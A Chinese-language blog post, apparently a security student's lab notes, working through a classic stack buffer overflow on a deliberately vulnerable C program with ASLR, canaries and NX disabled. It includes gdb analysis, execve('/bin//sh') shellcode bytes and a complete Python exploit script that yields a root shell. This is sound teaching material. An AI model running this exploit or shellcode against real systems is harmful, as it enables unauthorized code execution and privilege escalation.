栈溢出学习(一)

跟随教程https://sploitfun.wordpress.com/2015/

此次实验参考https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

经典栈溢出

这次实验是最简单的栈溢出实验,没有任何防护机制。

实验环境

​ Ubuntu12.04(一开始用的64位Kali-Linux,踩了不少坑,最后还是用了教程上面的环境Ubuntu12.04)

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

分析:当我们输出的字符串大于256字节,覆盖到main函数的返回地址,使其指向我们的shellcode,就可以完成攻击

编译命令

$echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

第一条指令是为了关闭ASRL保护机制

第二条指令-g 产生debug信息,便于接下来使用gdb调试,-fno-stack-protector关闭canary保护机制,-z execstack关闭NX保护机制,允许在栈上执行代码。

GDB运行程序

gdb -q vuln

运行程序

(gdb) disassemble main
Dump of assembler code for function main:			//注意Intel格式
   0x08048414 <+0>:	push   %ebp						
   0x08048415 <+1>:	mov    %esp,%ebp				//这两句不用解释
   0x08048417 <+3>:	and    $0xfffffff0,%esp			//对齐
   0x0804841a <+6>:	sub    $0x110,%esp				//分配栈空间
   0x08048420 <+12>:	mov    0xc(%ebp),%eax		//%eax = argv
   0x08048423 <+15>:	add    $0x4,%eax			//$eax = argv + 4 = &argv[1]
   0x08048426 <+18>:	mov    (%eax),%eax			//%eax = argv[1]
   0x08048428 <+20>:	mov    %eax,0x4(%esp)		//Mem[%esp + 4] = %eax = argv[1]
   0x0804842c <+24>:	lea    0x10(%esp),%eax		//%eax = %esp + 10	这个esp+10就是buf的起始地址
   0x08048430 <+28>:	mov    %eax,(%esp)			//Mem[%esp] = %eax = %esp + 10
   0x08048433 <+31>:	call   0x8048330 <strcpy@plt>	//调用strcpy函数
   0x08048438 <+36>:	mov    $0x8048530,%eax		//0x8048330应该是"Input:%s"的起始地址
   0x0804843d <+41>:	lea    0x10(%esp),%edx		//%edx = %esp + 10等于buf的起始地址
   0x08048441 <+45>:	mov    %edx,0x4(%esp)		//Mem[%esp + 4] = %esp + 10
   0x08048445 <+49>:	mov    %eax,(%esp)			//Mem[%esp] = 0x8048330,其实这里涉及到一个很有意思的东西,linux32位下面的函数调用约定_cdecl,从右向左依次压栈,因此"Input:%s“在栈顶,buf在%esp+4的位置
   0x08048448 <+52>:	call   0x8048320 <printf@plt>	//调用printf函数
   0x0804844d <+57>:	mov    $0x0,%eax	//设置返回值为0,return 0
   0x08048452 <+62>:	leave  //%esp = %ebp, pop %ebp
   0x08048453 <+63>:	ret    //%eip = [%esp], %esp += 4
End of assembler dump.

image-20201021213011239

shellcode攻击分为以下三步

  • 找到buf起始地址到返回地址的空间大小

    经过上面的反汇编代码,我们可以看到buf起始地址在%esp+10的地方,而%esp = %ebp - 0x110,依次他距离%ebp为0x100字节由于前面有一个%esp对齐操作,造成了esp大小的改变,教程中直接说明这里面esp其实移动了8字节,然后再算上ebp寄存器4字节的大小,所以一共是0x10C个字节(268个字节)

    这里提供一个找自己方便的方式,不需要知道and 0xfffffff0, %esp指令的效果,便可以计算出原来的esp到没有减0x110的esp之间的距离

    (gdb) b *0x08048414				//我们在push %ebp处打断点,这时esp栈顶指针指向返回地址
    Breakpoint 1 at 0x8048414: file basic_stack_overflow.c, line 4.
    (gdb) b *0x0804841a				//在sub $0x110, %esp处打断点,这是esp的值为原来的esp-4,然后对齐过后的值,可以想象,这两条指令执行之前esp的差值最后加上0x100就是buf到返回地址的差距  
    Breakpoint 2 at 0x804841a: file basic_stack_overflow.c, line 4.
    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/jackson/Program/CTF/Pwn/vuln 
    
    Breakpoint 1, main (argc=2, argv=0xbffff614)
        at basic_stack_overflow.c:4
    4	int main(int argc, char* argv[]) {
    (gdb) p $esp					//查看第一个断点esp的值
    $4 = (void *) 0xbffff57c
    (gdb) c
    Continuing.
    
    Breakpoint 2, 0x0804841a in main (argc=2, argv=0xbffff614)
        at basic_stack_overflow.c:4
    4	int main(int argc, char* argv[]) {
    (gdb) p $esp					//查看第二个断点esp的值
    $5 = (void *) 0xbffff570
    (gdb) 
    

    0xbffff570-0xbffff57c = 0xc = 12

    12 + 0x100 = 0x10c = 268

  • 决定覆盖返回地址的新地址,也就是我们shellcode的起始地址

    这个起始地址一般是指向返回地址的esp值+4,需要获取时我们就在ret指令之前打一个断点,然后p指令输出

    (gdb) b *0x08048453			//打断点
    Breakpoint 2 at 0x8048453: file basic_stack_overflow.c, line 9.
    (gdb) run `python -c 'print "A" * 300'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/jackson/Program/CTF/Pwn/vuln `python -c 'print "A" * 300'`
    Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Breakpoint 2, 0x08048453 in main (argc=1094795585, argv=0x41414141)
        at basic_stack_overflow.c:9
    9	}
    (gdb) p $esp
    $1 = (void *) 0xbffff55c
    (gdb) 
    

    可以看到指向return address的栈指针为0xbffff55c,因此我们设置新的地址的值可以是0xbffff560,实际上gdb调试的地址和真实运行时的地址是不一样的,参见https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html

  • shellcode的编写

    本次shellcode实现```execv(’/bin//sh’)的函数

    0:  31 c0                   xor    eax,eax
    2:  50                      push   eax
    3:  68 2f 2f 73 68          push   0x68732f2f	//'//sh'
    8:  68 2f 62 69 6e          push   0x6e69622f	//'/bin'
    d:  89 e3                   mov    ebx,esp
    f:  50                      push   eax
    10: 89 e2                   mov    edx,esp
    12: 53                      push   ebx
    13: 89 e1                   mov    ecx,esp
    15: b0 0b                   mov    al,0xb
    17: cd 80                   int    0x80
    

开始Exploit

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       #记得修改为自己的
              
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"		#就是我们上面的汇编代码的机器码

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

执行效果如下:

$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���

# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

image-20201021231917585

QianLong Sang
QianLong Sang
Second Year CS Phd

My research interests include operating system, computer architecture and computer security.